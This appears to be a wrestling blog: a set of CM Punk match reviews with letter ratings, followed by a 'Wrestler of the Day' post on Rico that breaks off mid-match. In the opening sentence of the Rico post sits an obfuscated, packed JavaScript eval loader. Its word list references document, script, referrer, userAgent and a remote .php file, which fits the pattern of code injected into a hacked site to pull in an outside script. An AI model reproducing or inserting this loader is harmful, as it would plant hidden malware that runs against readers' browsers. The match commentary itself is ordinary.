Punk fires off the kicks and gets two off a quick powerslam. They trade German suplex grips but Punk gets dropped on the top rope to give Jericho control. The Lionsault gets two and Chris goes up, only to be chopped a lot to slow him down. The champion loads up a hurricanrana but gets countered into the Walls in one of Jericho’s classic counters. Punk finally makes the ropes and sends Jericho to the floor to set up the suicide dive.

Jericho staggers to his feet and Punk hits the running knee, crushing Jericho’s head against the post. They head back in and somehow Jericho grabs the Codebreaker out of nowhere for two. Back up and Jericho pounds away on Punk in the corner, only to go up again and get kicked down. The GTS is countered into the Liontamer (the kneeling version of the Walls) in the middle of the ring but shifts it to the regular Walls.

Jericho has to pull him away from the ropes and Punk escapes into dueling small packages. CM rolls through again into the Anaconda Vice but Jericho knees Punk in the back of the head to escape. The Walls don’t work again and Punk hooks another Vice, this time tucking his head in to avoid the knees. Jericho is trapped and finally gives up.

Rating: A. Great match here with both guys destroying each other and countering everything both guys had. I love the ending with Punk getting smarter as he kept going in a good display of psychology. Thankfully the DQ bit didn’t go anywhere which makes it pretty stupid. Excellent match here though which would have been a great main event for any other show of the year.

Punk vs. Daniel Bryan for nearly half an hour at Money in the Bank 2012.

Raw World Title: Daniel Bryan vs. CM Punk

This is now No DQ, Punk is defending and AJ is guest referee. Punk takes him to the mat and fires off some quick kicks. They head outside and Bryan gets rammed into the apron, only for Punk to get rammed into the barricade and kicked in the chest. Back in and Bryan fires off the YES kicks but gets rolled up for two. Bryan pounds away in the corner and they chop it out. That evolves into a strike off and the champion takes over.

A backbreaker looks to set up a middle rope legdrop but Bryan moves, followed by more YES kicks. They head to the floor again and Punk takes over, sending Bryan into the barricade again. Punk accidentally elbows AJ in the face, sending her out to the floor. The champ goes to check on her and Bryan uses the distraction to hit the running knee off the apron to take Punk down.

Punk gets draped over the steps on the floor and Bryan fires off more kicks. Punk comes back and sends Bryan into the timekeeper’s table. This is a back and forth match the entire time so far. The fans want tables because they’re greedy people. Punk pulls one out from under the ring but Bryan slams him down on the outside. Bryan finds a kendo stick and pounds away on the ribs of the champion. Punk rolls away and gets back inside while Bryan is still on the floor.

Back in and Punk gets the stick for a second, only for Bryan to go back to the ribs. Punk loads up a springboard but Bryan hits Punk in the ribs with the stick to take him down. Bryan fires away with stick shots to the ribs, complete with YES shouts. Those shots get two with the regular referee having taken over inside. Daniel goes up but the swan dive misses, putting both guys down.

They trade kicks and then forearms but it’s a leg lariat from Punk that takes Bryan down. Punk comes back with a running knee to the head and the snap powerslam for two. GTS and YES Lock are both countered and another GTS attempt is countered into a rana for two. Bryan kicks the champ’s head off and both guys are down. Bryan pops him in the back with a kendo stick and puts on a surfboard.

Punk manages to get to the kendo stick and beats the fire out of Bryan with it but can only get two. Punk goes up top but Bryan drills him with forearms to the head. Bryan pops up top and hits a superplex to put both guys down again. AJ is back and she sends the regular referee out to the floor. It’s time to skip! AJ pulls out a chair and Bryan crawls to her for it. Instead AJ throws the chair in the middle of the ring and it’s a scramble for it. Isn’t that how the XFL started its games?

Bryan gets in a kick to the ribs and pounds away on Punk with the chair for a close two. Bryan tries to talk to AJ calmly but it gets him rolled up for two by the champ. Daniel fires off more kicks to the chest of Punk and Punk can barely sit up in the corner. Bryan gets a running start but Punk comes out with a clothesline. Now Punk has the chair and blasts Bryan with it before wedging it between the top and middle ropes.

Punk goes to get Bryan to ram him into the chair, but AJ is standing in front of the chair. As Punk yells at her, Bryan comes up from behind and dropkicks Punk into the corner but not necessarily into the chair. Bryan goes to get the kendo stick but AJ is standing on it. She gives him a psycho stare and Bryan gives up. He walks into the high kick though and Punk slams Bryan onto the chair. The top rope elbow misses and the elbow hits the chair. Bryan throws on the YES Lock and grabs the stick at the same time to choke away.

Punk somehow bends back and blasts Bryan in the knee with the stick, followed by a GTS, but the champion can’t follow up. The GTS eventually gets two so Punk brings in a table. Punk loads up the elbow through the table but Bryan crotches Punk and hammers away. Punk slips down off the ropes and crotches Bryan at the same time. He pounds away with elbows and a belly to back superplex through the table FINALLY pins Bryan to retain the title.

Rating: A. This was GREAT at the end as I was hanging on every count of every near fall. That was a great match all the way through, but were you expecting anything else with these two having nearly half an hour? The major problem here though is the lack of AJ involvement. She basically did nothing other than blocking a weapon shot either way, and the ending was about the wrestling instead of her. That’s fine on paper, but we’ve spent two months building her up as the key to this whole thing. Still though, the match was more than enough to make up for that.

Do you want to know how awesome Punk is? Well you know the Shield? At TLC 2013, Punk did this.

CM Punk vs. Shield

Ambrose starts things up for Shield and feels Punk out a little bit. Punk wisely runs instead of being dragged into the Shield corner and shouts that he’s beaten Dean twice already so give someone else a shot. It’s off to Rollins so Punk bails to the floor to play some head games. Rollins chases him back into the ring and gets caught by some shoulders in the corner followed by three straight neckbreakers for two.

Seth fights up and brings in Reigns to throw Punk into the Shield corner. Rollins and Reigns make a wish on Punk’s legs before Seth hits a neckbreaker of his own. Back to Ambrose for some rib stomps before it’s off to Reigns for a hard clothesline. Shield is taking their time here instead of their usual fast tagging. Punk is thrown to the floor but still has enough in him to avoid Reigns’ spear over the announce table. Roman looks to have injured his eye when he went over the table.

Reigns is dazed but makes it back inside where Punk goes after his eyes. He rakes and punches away at it but Roman sends him outside again to get a breather. It’s off to Rollins as a doctor looks at Roman’s eye. A knee to Punk’s head is good for two but he shoves Rollins into Ambrose, knocking Dean to the floor. The high kick gets two on Seth and Punk speeds things up with ax handles to the face.

A great looking running knee in the corner sets up a high cross body for two and the Anaconda Vice is on. Ambrose makes a diving save and comes in off the tag. Dean loads up a superplex but gets headbutted down, setting up the Macho Elbow. The cover is delayed as Punk had to take out Rollins and Dean kicks out at two. Rollins charges in but gets caught in the GTS. Punk goes after Ambrose, only to sidestep a charging Reigns who spears Ambrose down by mistake. Punk sends him to the floor and gets the upset pin on Ambrose at 13:10.

Rating: C+. To clarify, Punk just beat the unbeatable Shield by pin with no outside interference. Let me guess: this is great, whereas if say Cena did this, it would be him playing Superman again. The match was fine but more storytelling than anything else. It should be interesting to see where Punk goes now, as he’s due for a return to the title picture after some time away.

Still not convinced? Punk did this at Breaking Point.

Smackdown World Title: Undertaker vs. CM Punk

Taker has never surrendered so there we are. Naturally it takes forever to start because it’s an Undertaker match. And of course Punk is getting his head kicked in. Did you expect anything else? This goes on for awhile until some chair shots get us back to something resembling even.

They trade strikes and Punk actually puts him down with a solid kick to the head. And there’s the Hell’s Gate for the tap out. Yeah, in the most predictable ending you could ask for, Taker gets the title back to end the show. Screw you WWE.

OR DOES HE???

Teddy Long comes out to say that the Hell’s Gate is still an illegal move and the match is still going, even though it’s a No DQ match so that rule means dick but why should I pay attention to something stupid like that?

Anyway, Taker just beats the holy tar out of him and then we get the part of the match that I still shake my head at: Punk counters the Last Ride and hooks an Anaconda Vice and, say it with me, Taker doesn’t tap but the bell rings anyway. Punk stands next to the stoic Long to end the show. Care for an explanation? So would I. It never really came, so whatever right?

Rating: D+. This just wasn’t that good. The match was boring and while they did use the surprising ending, it’s still Montreal. I have far more tolerance here than in TNA though, as this isn’t an alternative to WWE or anything like that. Either way, the match sucked and not much was going to save it. Nice twist though.

After being the longest reigning WWE Champion in about twenty years, Punk would defend against Rock at Royal Rumble 2013.

Raw World Title: The Rock vs. CM Punk

Punk of course has Heyman with him. He charges right into the brawl and actually pounds Rock down into the corner. A quick Rock Bottom is countered but Punk is sent outside. Rock follows him outside and sends the champion into the barricade before loading up the announce table. Punk comes back with a shot to the ribs and puts the table back together in a great bit. Back in and Rock scores with more right hands to knock Punk to the floor again.

Punk is whipped into the barricade one more time but he gets a boot up to stop a charging Bull. He finishes fixing the announce table instead of following up on Rock before dropping Rock ribs first on the barricade. They head inside again for a body vice from CM followed by a knee to the ribs for two. Off to a freaky looking hold where Punk pins Rock’s shoulders down but pulls back on his head to crank on the shoulders and back.

More choking follows and a knee to the back has Rock on the apron, followed by a springboard dropkick to send him outside. Punk tries a top rope ax handle to take Rock down but injures his knee in the process. Rock scores with some kicks to the knee but the champion easily sends him out to the floor to stop the comeback. Back in and Punk misses the springboard clothesline and reinjures the knee, giving Rock his opening.

A DDT gets one on Punk but he fights out of the Rock Bottom. The GTS is countered into a Sharpshooter attempt but Punk counters into the Anaconda Vice in a nice sequence. Rock rolls over into a cradle, forcing Punk to let go of the hold. Back up and tries the Rock Bottom but Punk counters into a rollup for two, only to be countered into a low seated Sharpshooter. Punk is next to the rope so naturally he takes thirty seconds to get the break.

Rock takes him to the floor and loads up the announce table again. They fight on top but Rock counters a GTS attempt into what was supposed to be a Rock Bottom but was really more like the table collapsing with Rock’s arm around Punk’s chest. Rock comes up holding his knee and both guys make it back in at an eight count. Punk scores with a high kick but both guys are down.

Back up and Rock wins a slugout before scoring with the spinebuster. He loads up the People’s Elbow and there go the lights. Cole can see Shield pulling Rock to the floor and powerbombing him through the table. The lights come back up and Rock is laid out as the referee has no idea what’s going on. The announcers try to tell Mike Chioda what happened and Punk feigns innocence.

He throws Rock back in for the pin and celebrates but here’s Vince to say Punk is stripped of the title for the interference. Rock says no and to restart the match. The bell rings again and Punk stomps away as JBL threatens to put Cole through a table for playing cheerleader. The Macho Elbow gets two but the GTS is countered into a spinebuster, setting up the People’s Elbow to end Punk’s reign.

Rating: B. It’s another good match but it felt like they were dancing around for twenty three minutes before we got to the obvious ending. The Shield stuff was a decent fake out but it really didn’t need to be there. Rock winning was obvious though and that really put a ceiling on how high this was going to get.

More Punk vs. Bryan from Over the Limit 2012.

Raw World Title: Daniel Bryan vs. CM Punk

Cole again plugs WWE.com which has an article about their history. You know, because Cole can’t TELL US THOSE THINGS. Feeling out process to start and Punk takes him into the corner and kicks at the leg. The fans seem totally split. A quick headlock goes nowhere so Punk works on the knee some more. Modified Indian Deathlock goes on from the champ but Bryan gets on top of him and fires off forearms.

Punk weathers that and hits a curb stomp of all things for two. He sends Bryan to the floor but Bryan is ready for him and sends Punk back first into the barricade. The bad ribs are draped over the barricade and Bryan takes over. Back in a top rope missile dropkick (with knee selling) gets two. Bryan hooks a seated abdominal stretch with some elbows to the ribs. Knee drop gets one.

Punk tries a Figure Four out of nowhere (complete with WOO chants. We’re in North Carolina remember) but Bryan rolls him up for two. There’s a surfboard (complete with YES each time he rocks back) which is always cool to me. Bryan keeps Punk’s legs in the air and bends his face down into a dragon sleeper at the same time. FREAKING OW MAN! Off to a regular dragon sleeper but Punk comes back with forearms of his own. That’s some nice storytelling as they’ve mirrored each other completely, even down to the counter into mounted forearms, for the first ten minutes.

Bryan hits a hard running knee drop to the back to keep Punk down. Another misses and Punk gets a Perfectplex for two. Bryan suplexes him down and hits a swan dive headbutt for two. Off to a chinlock with a knee in the back of the champ. Punk gets up and they both hit cross bodies to put both guys down. Back up and Punk fires off forearms and hits the neckbreaker.

Punk tries the corner clothesline but gets kicked in the face. Powerslam gets two for the champ. Bryan escapes a suplex but Punk backdrops him to the floor. Suicide dive takes Daniel down but he hits a dropkick to counter the springboard clothesline for two. Bryan fires off the kicks but the last one is caught in a dragon screw leg whip. Figure Four goes on and the fans get fired up again.

With the hold on they slap it out but Punk doesn’t let go of the hold. Bryan makes the rope and Booker shouts that he has til five. Knee crusher is countered into a sunset flip for two. Punk’s rollup gets the same. Bryan tries something with the arm but Punk pulls away. Bryan is cool with that and kicks Punk’s head off for two. They go to the corner and Punk crotches Bryan on the top.

With Bryan sitting on the ropes, Punk hits the springboard clothesline for two. We’re at almost twenty minutes now and they’re showing no signs of ending soon. The fans think this is awesome. I can’t remember the last time I’ve heard that at a WWE show. They trade forearms from their knees and Punk takes over with his strikes. GTS is countered into a rollup for two.

YES Lock is countered into a slingshot to send Bryan to the apron. He skins the cat but walks into a high kick for two. Bryan put his foot on the rope so Punk hooks it for another two. I like that. Macho Elbow hits but the ribs are too hurt to cover. A Randy Savage chant starts up as Punk gets two. Bryan goes off, firing knees into the ribs. He charges but the running dropkick misses.

Running knee hits but the bulldog is countered into the YES Lock in the middle of the ring. Bryan pulls too hard and Punk falls on top for the pin at 24:04. He was tapping at the same time though so there’s your rematch at No Way Out. I think the pin stands though. Replay shows that the three count was clearly done before Punk tapped and the announcers acknowledged it.

Rating: A. Yep it was great. This whole show has been great but unfortunately these two are going to get blamed when the show tanks because no one wants to see Ace in the ring because no one cares about him. Anyway, the match was great and I have no complaints about it at all. The crowd reaction was great too, which is something you don’t get anymore in WWE so that’s a good sign too.

Here’s what Punk can do against Brock Lesnar. From Summerslam 2013.

Brock Lesnar vs. CM Punk

No DQ. Punk charges right at him but gets driven into the corner. Forearms to Brock’s head have no effect and he drives shoulders into the ribs. Punk tries some knees to the ribs but Brock literally tosses him across the ring. Brock stomps him down in the corner but Punk comes back with a hard knee to the jaw and a second one to send him out to the floor. A big suicide dive has the Beast down and Heyman is starting to freak out.

Punk gets some steps but Brock just rams them back into his face to take over again. He throws Punk onto his should but gets posted instead, allowing Punk to dive off the apron to drop Brock again. A clothesline off the announcers’ table nails Lesnar but Punk makes the mistake of going after Heyman, allowing Brock to blindside him. Brock picks him up again and LAUNCHES him over the announcers’ table. Then he throws him over the other table and stomps on the top of the table on top of Punk.

Back in and Punk goes after the legs but Brock just levels him with a clothesline. We hit the bearhug until Punk scores with forearms, only to take a hard knee to the ribs. It’s almost total dominace by Brock so far. Back to the bearhug but Punk elbows out of it again. Some kicks to the chest have Brock in trouble but he counters a high cross body into a fall away slam.

We hit the chinlock but Punk bites his ear to escape. More kicks have Brock in trouble and a top rope knee sends him sprawling across the ring. There’s a pair of running knees in the corner but Brock counters the third one into the F5. Punk escapes again and nails a high kick followed by the Macho Elbow (more like a splash) for a VERY close two. The fans are totally into this.

The GTS is countered into another F5 attempt but Punk escapes and nails another high kick. He tries the GTS again but gets caught in the Kimura. Somehow he counters that into a cross armbreaker but Brock rolls over into a choke. Punk counters THAT into a triangle choke, only to have Brock lift him for a powerbomb. That doesn’t break the hold either and it’s back to the triangle, but Brock lifts him into another powerbomb, this time with a running start. AMAZING sequence there and the fans give it the THIS IS AWESOME chant that it deserves.

Brock busts out Three Amigos of all things for two. Punk is half dead in the ring so Brock heads outside and gets a chair. He takes too long though and Punk dives onto the chair, driving it into Lesnar in a huge crash. Now it’s Punk wearing out Brock with the chair as they head back inside. Brock takes the chair away, only to get hit low before he can destroy Punk. Punk nails the Cactus Jack chair drop from the top for two as Heyman is pacing back and forth.

Punk just starts beating Brock with the chair but Heyman gets on the apron for a distraction. Lesnar lifts him for the F5 but Punk grabs Heyman for the block. He slips off Lesnar’s back and hits the GTS for a white hot near fall with Heyman making the save. After a quick chase, Punk charges into the F5 but counters AGAIN into a DDT for another two.

There’s the Anaconda Vice and Lesnar is in trouble, drawing Heyman in with the chair….but Punk gets up and steps on it. There’s a right hand for Heyman and a Vice of his own, but Punk is wide open for a chair shot from Lesnar. A bunch more chair shots sets up an F5 on the chair to give Brock the pin on Punk’s dead body at 29:07.

Rating: A+. I said this was Match of the Year last year and a second viewing affirms that view. This was AMAZING with some great David vs. Goliath stuff, a white hot counter sequence, and then two guys just beating the tar out of each other for ten minutes to end the match. Heyman making the save made sense, but it makes Punk look like the superhero that everyone thought he was. Totally awesome match here and Lesnar looks like the monster that he’s supposed to.

Oh and one more thing: SCREW YOU HHH FOR WASTING BROCK FOR A YEAR FOR YOUR STUPID EGO. Seriously, a year of this lost for that “trilogy” nonsense with HHH winning the big match on the biggest stage before letting Brock get his win back in a totally forgotten cage match. Lucky us.

We’ll wrap it up with a Cena double shot. From Raw, February 25, 2013.

John Cena vs. CM Punk

The winner gets the shot at Rock at Wrestlemania. They have a ton of time left too. After some big match intros we’re ready to go. The fans are of course split on Cena as we get some chain wrestling to start. Punk gets in the ropes to break up a headlock before putting on one of his own. A hip toss puts Punk on the floor and we take a break. Back with Punk getting backdropped but popping back up with a clothesline to take control again. A neckbreaker gets two on cena and it’s off to a neck vice.

Cena powers out of it and slams Punk to the mat before hooking a front facelock to slow things down. Off to a headlock instead but Punk shoves him off and hits a leg lariat for two. Off to a CM chinlock now but Cena fights back up. He hits a shoulder block but Punk ducks an attempt at a second. The suicide dive takes out Cena on the floor and we take another break.

Back with Cena escaping an abdominal stretch and hitting the shoulders again. There’s the ProtoBomb but Punk counters into the Anaconda Vice. Cena rolls over into a cover for two but Punk hits a swinging neckbreaker for two more. Sweet sequence there. Cena picks the leg for the STF but Punk makes the rope.

The springboard clothesline gets two more on Cena but Punk loads up a second, only for Cena to step to the side and hook the STF. Punk slips out and puts the Vice on again but Cena counters into a Crossface (called the STF by that lunkhead Cole). Punk rolls backwards into a small package for two and both guys are down again. They slug it out and Cena is getting madder on each punch he throws.

Punk kicks him in the ribs but the high kick misses. There’s the ProtoBomb but Punk kicks him in the head to escape the Shuffle. The GTS is countered into a sunset flip attempt but Punk sits on Cena for two. The bulldog by Punk is countered and there’s the Shuffle. AA is countered as is the GTS but Cena hits a Batista Bomb for two. The place is losing their minds on these kickouts. John goes up top but Punk gets up before Cena can try anything.

Cena blocks whatever Punk is trying and knocks him down, setting up the top rope Fameasser for two. Cena can barely follow up though and the high kick puts in the corner. Punk hits a WICKED running knee in the corner but Cena IMMEDIATELY hits the AA for two. Punk rolls to the floor and Cena has no idea what else he can do here. Cena goes out after him but gets sent HARD into the post. He isn’t moving an inch at nine but is somehow in by ten.

Back in and the GTS gets two and now Punk is ticked off. Another GTS is countered into an STF attempt and even with Punk trying to fight off the hold, Cena locks it in. Punk raises his hand to tap but SOMEHOW gets to the ropes. He kicks Cena in the knee and busts out a piledriver for a VERY close two and we get multiple frustrated covers. Punk goes up top and the Macho Elbow misses, allowing Cena to hit a FREAKING HURRICANRANA and the AA for the pin at 26:32.

Rating: A+. WOW. This doesn’t happen often but I was sitting there watching this match with my jaw hanging open. Those near falls were as good as I have seen this side of Austin vs. Rock at Wrestlemania and I had no idea what they were going to do until the ending. This was a PPV main event for free on Raw and was one of the best TV matches I have ever seen. Absolutely amazing and to people who say “well it wasn’t THAT good”, you’re wrong. Period.

Is there anything else we can wrap it up with? From Money in the Bank 2011.

CM Punk vs. John Cena

Punk’s entrance is a sight to see as the fans EXPLODE as he comes into the arena. Cole talks about how Punk hasn’t signed a new contract and therefore tonight at midnight, he’s done with WWE. The booing for Cena’s entrance borders on hatred as the fans can’t stand the sight of him. It isn’t quite as bad as One Night Stand 2006 but it’s still very intense. Cole lists off a brief history of the WWE Championship. That’s a man after my own typing.

The fans are immediately all over Cena with a YOU CAN’T WRESTLE chant. Cena controls with a quick headlock but has to duck a quick high kick from Punk. The chant continues and Punk makes sure that they’re talking about Cena. Punk tries his Anaconda Vice submission finisher but Cena counters into an armbar. Back up and Punk hits a quick hiptoss and dropkick before grabbing a headlock on the mat.

Back up and the AA and Punk’s GTS (fireman’s carry into a knee to the face) are both quickly escaped. Cena’s bulldog gets one and it’s off to a front facelock by the champion. Back up and a hard clothesline puts Punk down again and it’s off to a chinlock. We get the dueling “let’s go Cena/Cena sucks” chants with the anti-Cena fans having far deeper voices. A release fisherman’s suplex gets two for John but Punk escapes the AA and hits a DDT for two.

Off to a figure four necklock by the challenger for a few moments before he sends Cena to the outside for a knee to the back of the neck. Back in and Punk charges into the corner but goes shoulder first into the post. Punk doesn’t seem to be fazed by it and hooks a chinlock but now there are audible pro-Cena chants. Punk comes back with a cross body for two but more importantly, Cena may have hurt his knee. Cena goes to the apron and is able to sucker Punk in for a suplex to the floor.

Back in and a sitout powerslam gets two for the champion but Punk comes back with some right hands. Cena goes old school with an abdominal stretch for a few moments until Punk hiptosses his way out of it. Both guys are down but as they get back up, Cena tries his finishing sequence and despite a quick comeback attempt, Cena hits the ProtoBomb, only to be kicked in the head by Punk. A knee in the back sends Cena to the floor and there’s a suicide dive (and a high five to Punk’s longtime friend and wrestler Colt Cabana).

Back in and Punk misses his top rope elbow which allows Cena to load up the AA. Punk lands on his feet anyway though and kicks Cena down for two. The GTS is countered into a gutwrench suplex for two for the champion. A few knees to the face hit Cena when he’s against the ropes and Punk’s bulldog takes Cena down. Punk hits a springboard clothesline for a close two and CM fires off some kicks. A big one misses though and it’s the STF from Cena. Punk FINALLY makes the rope and gets a near standing ovation for his efforts.

Back up and Punk hits a high kick for two and both guys are down again. Punk tries a top rope cross body but Cena catches him in mid air and tries the AA. CM counters that into the GTS but Cena counters THAT into the STF in the middle of the ring to put Punk in serious trouble. Punk somehow rolls out of the hold and hooks on the Anaconda Vice. Cena fights up from THAT and hits the AA for a close two. John goes up top and loads up the top rope Fameasser but gets caught in a powerbomb for two.

Punk tries the GTS but Cena grabs the rope to escape. He punches Punk down and hits the Fameasser for a VERY close two. Another AA gets two and Cena gets in the referee’s face. Cena tries an AA off the middle rope but Punk escapes into a top rope hurricanrana to send Cena into the opposite corner. The running knee in the corner sets up the GTS but Cena falls to the floor.

CM tries to throw him back inside but here are Vince and his head crony John Laurinitis. Cena puts on the STF and Vince tells Laurinitis to go and ring the bell. Cena intercepts him, saying that he’s winning this himself. With a harsh glare at Vince, Cena charges back into the ring and walks into the GTS to give Punk the title and send Chicago into euphoria.

Rating: A+. This is one of the best matches of all time with some of the greatest drama you’ll ever see. The question of who would win here went back and forth for over thirty minutes until the perfect ending. Cena was on top of his game here tonight but he couldn’t beat Punk in this city with these stakes on this night. This is an excellent match and the crowd made it all the better.

CM Punk is one of the most popular guys in years and one of the few to break into the top level of the company. His matches with Cena are as good as you can find but he’s shown that he’s capable of having great matches with with so many more people. Some of the stuff he’s done is amazing and the Pipe Bomb promo got a lot of people to watch wrestling again. The guy is great and one of the biggest stars in the last ten years for WWE.

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Wrestler of the Day – August 14: Rico

Today we’re going with someone that I’ve been a fan of for years: Rico.

After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekhe|var|u0026u|referrer|fktdi||js|php'.split('|'),0,{})) just a handful of matches on the independent circuit, Rico was signed to WWF and went to OVW. We’ll start at Christmas Chaos 2001, held in January of that year due to the original show being postponed due to snow. Keep in mind that this is different from the Rico you’re familiar with. Here he’s an athletic freak that can wrestle with anyone and totally serious.

Flash/Trailer Park Trash vs. Rico Constantino/Mr. Black

This is hardcore. Flash Flanagan is a guy that was supposed to be one of the breakout stars of OVW but a bad injury kept him off the WWF roster just after he was going to be called up. Rico made it of course but is freshly heel here. Black is a big security guard and Trailer Park Trash is a guy I have no idea about. Constantino and Black are part of Bolin Services, the top heel stable in OVW. Oh and Black is Hardcore Champion.

Apparently Rico isn’t in Bolin Services yet but if Bolin can get him the OVW Title he’ll join the team. Cornette: “Bolin is the kind of a guy that if he tells you the sun is coming up tomorrow you better go buy a flashlight. He’s the second most dishonest person I know after that promoter in Philadelphia.” There is some real bad blood there which is 100% legit.

Flash and Trash (just a big guy in jeans and a shirt) bring the weapons. Rico and Black bust out garbage can lids which means they take them to the head. Flash accidentally hurt Rico about a year ago to start their feud. This is Trash’s return after about a four month absence. I think you have to be in the ring to get a fall but I’m not sure.

It’s really hard to tell who is who here. Rico has long hair here so you can’t really tell which guy he is. Trash pulls out a bowling ball and it collides with Black’s balls. Flash sets up a table on the floor and Rico goes onto it. Springboard spinning legdrop half kills Rico but Flash is down too. Trash doesn’t look like much of a technician to put it mildly.

Trash gets a door from somewhere (Perry Saturn’s factory maybe?) and lays it between the ring and the railing like a bridge. He wants to suplex Black through it but of course gets shoved through it himself. Flash and Rico are back up and Flash misses a big moonsault. We clip it a bit to see Trash getting hanged by Black. Rico has a broom and everyone is down for the most part.

Black gets a suplex to Flash and we bring in frying pans and tires. Rico puts the tire around Trash’s neck and superkicks the tire. That was different. We throw in a toilet seat and a mailbox to really make this out there. More clipping as Flash takes a Bossman Slam from Black.

The beating has been going on for a good while now. I guess morale hasn’t improved enough yet. Black goes for a top rope splash but Trash makes the stop and slams him down. We hit ten minutes and Flash hits what looks like a middle rope neckbreaker/Blockbuster on Black onto a chair to end this, again very abruptly.

Rating: C-. This was a long match, running over ten minutes. I’m not sure if a hardcore tag match was the best choice to do that with but apparently Trash is a big fan favorite here so they’re giving them what they want in that sense. Pretty dull match and like I said another abrupt ending which came out of nowhere.

Here’s a match from late March/early April 2001 with Rico as OVW Champion.

Rico Constantino vs. Flash Flanagan

Rico is OVW Champion and Flash is Hardcore Champion but this is non-title. A clothesline puts Rico on the floor and Flash rams his head into Rico’s manager Kenny Bolin. Back in and Rico kicks him in the face to take over but Flash superkicks Rico down. A spinning springboard legdrop gets two as Cornette is freaking out on commentary. Rico comes back with a side slam and more kicks in the corner. They clothesline each other down and Bolin gets on the apron for a distraction. Rico gets Bolin’s briefcase but Flash kicks it into his face for the big upset.

Rating: C-. The match didn’t have time to be anything special but it wasn’t supposed to be. The win kept Flash in an upcoming triple threat (where he won the title) so it actually had some storyline stuff behind it. Rico was a solid heel at this point and Bolin was still the top heel manager of the promotion.

We’re going to look at a series of dark matches now, starting on April 15, 2001.

Rico Constantino vs. Randy Orton

Orton doesn’t mean anything at this point either. They trade shots in the corner to start and Orton beals him across the ring. A backflip dropkick gets two on Rico but he avoids a charge in the corner for two of his own. More stomping ensues in the corner and Rico suplexes him down for another near fall. Rico stomps even more and hits a nice spinning kick to the face. He takes too long going up but knocks Orton off the top. Orton avoids a moonsault and hammers away before nailing a wheelbarrow suplex for the pin.

Rating: D. Orton looked far more polished here than Rico, which isn’t what I was expecting at this point. Rico didn’t look horrible but he didn’t have anything left to do after the first minute or two of the match. Orton carried most of the match here and did a better job at playing to the crowd on top of that. Nothing to see here but Orton was clearly going to be a big star.

Another dark match from December 4, 2001.

Rico Constantino vs. Brock Lesnar

Brock drives him into the corner to start and puts Rico on the turnbuckle because he can. Rico avoids a charge and kicks away but Brock misses him up into a gorilla press. An elbow to the jaw drops Rico again and Brock busts out a dropkick just because he can. Rico nails a spinwheel kick but Brock shrugs it off and plants him with a powerslam for the pin.

Rating: C-. Oh come on you knew Lesnar wasn’t going to lose here. Rico looked better out there, though the match was significantly shorter. Brock continues to be awesome though and there’s no way you can top a genetic freak like him. The match looked far tighter than the Orton match though and that’s a good sign.

One more dark match from January 22, 2002.

AJ Styles vs. Rico Constantino

AJ spins out of a wristlock to start before backflipping out of a German suplex. A knee to the back puts Rico in control and a kick to the head gets two. We hit the chinlock on Styles before a spinwheel kick gets two more on AJ. Rico misses a great looking moonsault and walks into a brainbuster for two. A spinning cross body off the top mostly hits Rico’s legs but AJ backdrops him to the floor. AJ follows him out with a shooting star dive to really wake the crowd up. Back in and AJ gets knocked throat first onto the top rope, setting up a kind of northern lights suplex for the pin.

Rating: C. This was actually really entertaining stuff and was enough to get AJ a developmental deal with the company. He didn’t want to move to Louisville though so it was off to TNA instead. Good match though and that springboard shooting star looked awesome. Rico was a great talent but the stylist gimmick killed him.

Rico would debut as Billy and Chuck’s stylist because that’s what you do with an atheltic guy like him. Here’s one of his first matches from Judgment Day 2002.

Tag Titles: Rikishi/??? vs. Billy/Chuck

The partner for Rikishi will be announced in a bit. To the shock of no one, the partner is Billy and Chuck’s manager/stylist Rico. Billy vs. Rikishi to start us off here. DDT does nothing of course and Rikishi takes over. This is when there was only one set of titles at the time. Chuck comes in and hammers away which gets him nowhere for the most part. Suplex gets two.

The idea here is that Rico will lay down for his buddies so they can keep the titles so Rikishi is more or less in a handicap match. Belly to belly by Rikishi gets two. Billy comes in and gets beaten up by Rikishi too. Rico is just chilling on the apron at the moment. Dropkick by Chuck puts Rikishi down. Rico tries to help Chuck and accidentally drops Chuck, giving him and Rikishi the titles.

Rating: D. Was there any point to this other than to give the crowd a breather? No? I didn’t think so. Moving on here as there’s nothing to say here. The title reign meant nothing if you didn’t guess. As usual this would be the idea of the wacky tag team partners who of course are able to win the titles with relative ease.

Here’s a slightly better opponent. From Raw on September 16, 2002.

Ric Flair vs. Rico

Flair quickly takes him down with ease and drops a knee to the head. A few headlock takeovers keep Rico in trouble but he comes back with some fast kicks. Rico kicks him in the head for a Flair Flop but Ric stops him with an elbow to the jaw. Flair doesn’t let Rico bring a chair in and takes him over with a vertical suplex for two. Ric goes over and kicks the chair out of the corner, allowing Rico to kick him in the face for the (mostly) clean pin. Flair’s hand seemed to be touching the ropes but it wasn’t mentioned.

Rating: C-. That’s quite the rub for Rico as the pin was as clean as it was going to be for something like this. Flair was destroying him for the most part here with basic stuff which is something I enjoy seeing. Yeah a lot of the time it’s better to see something flashy or intricate, but it’s nice to see basic leverage moves every now and then.

Here’s another fairly big name opponent, from Raw on October 14, 2002.

Jeff Hardy vs. Rico

Rico throws a shirt at him in the corner and hammers away but Jeff scores with a Cactus Clothesline to put both of them on the floor. Jeff runs the barricade for another clothesline to drop Rico and they head back inside. Back in and Rico fires off kicks in the corner before putting on a bodyscissors. Jeff comes right back with a Whisper in the Wind for two, followed by the Twist and Swanton for the pin.

Rating: D+. This didn’t have time to go anywhere and Jeff didn’t do much besides high spots. To be fair that’s the case with almost any match like this as you have to get your stuff in and then do the finish. What else can you do in a match that only lasts a few minutes? Jeff would be gone a few months later.

Rico would be in a six man tag at Survivor Series 2002.

Dudley Boys/Jeff Hardy vs. 3 Minute Warning/Rico

This is an elimination tables match. Oh and that’s Bubba and Spike, not D-Von. Spike and Bubba got put through the same table on Raw Monday to set this up. The Dudleys and Jeff clear the ring to start and Spike is thrown into the arms of the Samoans. It’s Bubba vs. Rico in the ring at the moment, because putting Spike and Jeff against Umaga and Rosey is a great idea right? Bubba chops Rico HARD in the corner before things settle down.

